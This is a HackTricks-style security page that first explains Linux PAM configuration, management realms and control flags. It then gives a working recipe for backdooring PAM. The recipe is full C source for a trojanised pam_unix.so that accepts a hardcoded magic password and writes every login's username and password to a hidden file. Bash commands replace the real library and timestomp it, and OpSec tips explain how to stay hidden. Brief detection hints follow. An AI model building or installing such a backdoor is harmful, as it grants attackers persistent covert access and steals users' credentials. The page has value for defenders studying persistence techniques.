hacktricks/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md

# PAM - Pluggable Authentication Modules

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### Basic Information

**PAM (Pluggable Authentication Modules)** acts as a security mechanism that **verifies the identity of users attempting to access computer services**, controlling their access based on various criteria. It's akin to a digital gatekeeper, ensuring that only authorized users can engage with specific services while potentially limiting their usage to prevent system overloads.

#### Configuration Files

- **Solaris and UNIX-based systems** typically utilize a central configuration file located at `/etc/pam.conf`.
- **Linux systems** prefer a directory approach, storing service-specific configurations within `/etc/pam.d`. For instance, the configuration file for the login service is found at `/etc/pam.d/login`.

An example of a PAM configuration for the login service might look like this:

```
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
```

#### **PAM Management Realms**

These realms, or management groups, include **auth**, **account**, **password**, and **session**, each responsible for different aspects of the authentication and session management process:

- **Auth**: Validates user identity, often by prompting for a password.
- **Account**: Handles account verification, checking for conditions like group membership or time-of-day restrictions.
- **Password**: Manages password updates, including complexity checks or dictionary attacks prevention.
- **Session**: Manages actions during the start or end of a service session, such as mounting directories or setting resource limits.

#### **PAM Module Controls**

Controls dictate the module's response to success or failure, influencing the overall authentication process. These include:

- **Required**: Failure of a required module results in eventual failure, but only after all subsequent modules are checked.
- **Requisite**: Immediate termination of the process upon failure.
- **Sufficient**: Success bypasses the rest of the same realm's checks unless a subsequent module fails.
- **Optional**: Only causes failure if it's the sole module in the stack.

#### Example Scenario

In a setup with multiple auth modules, the process follows a strict order. If the `pam_securetty` module finds the login terminal unauthorized, root logins are blocked, yet all modules are still processed due to its "required" status. The `pam_env` sets environment variables, potentially aiding in user experience. The `pam_ldap` and `pam_unix` modules work together to authenticate the user, with `pam_unix` attempting to use a previously supplied password, enhancing efficiency and flexibility in authentication methods.


## Backdooring PAM – Hooking `pam_unix.so`

A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**.  Because every SSH / console login ends up calling `pam_unix.so:pam_sm_authenticate()`, a few lines of C are enough to capture credentials or implement a *magic* password bypass.

### Compilation Cheatsheet
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    const char *user, *pass;
    pam_get_user(pamh, &user, NULL);
    pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

    /* Magic pwd → immediate success */
    if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

    /* Credential harvesting */
    int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
    dprintf(fd, "%s:%s\n", user, pass);
    close(fd);

    /* Fall back to original function */
    if(!orig) {
        orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
    }
    return orig(pamh, flags, argc, argv);
}
```

Compile and stealth-replace:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp
```

### OpSec Tips
1. **Atomic overwrite** – write to a temp file and `mv` into place to avoid half-written libraries that would lock out SSH.
2. Log file placement such as `/usr/bin/.dbus.log` blends with legitimate desktop artefacts.
3. Keep symbol exports identical (`pam_sm_setcred`, etc.) to avoid PAM mis-behaviour.

### Detection
* Compare MD5/SHA256 of `pam_unix.so` against distro package.
* Check for world-writable or unusual ownership under `/lib/security/`.
* `auditd` rule: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.

### References

- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)

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